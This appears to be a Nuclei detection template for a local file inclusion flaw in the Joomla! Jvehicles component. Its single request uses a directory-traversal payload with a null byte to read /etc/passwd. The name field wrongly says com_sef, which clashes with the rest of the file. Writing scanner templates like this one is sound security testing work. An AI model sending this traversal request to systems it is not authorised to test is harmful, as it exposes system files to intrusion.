id: joomla-jvehicles-lfi

info:
  name: Joomla! Component com_sef - Local File Inclusion
  author: daffainfo
  severity: high
  description: A local file inclusion vulnerability in the Jvehicles (com_jvehicles) component version 1.0 for Joomla! allows remote attackers to load arbitrary files via the controller parameter in index.php.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11997
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cwe-id: CWE-23
  metadata:
    max-request: 1
  tags: joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jvehicles&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e03ca26e4feb782392a74596f4e88f1b1df660d32847865bd5d0dbab8483a47a022100c29b633a3cb88e76f30310c5553bdb43498ce24d01600cdabb813b62ca6408c1:922c64590222798bb761d5b6d8e72950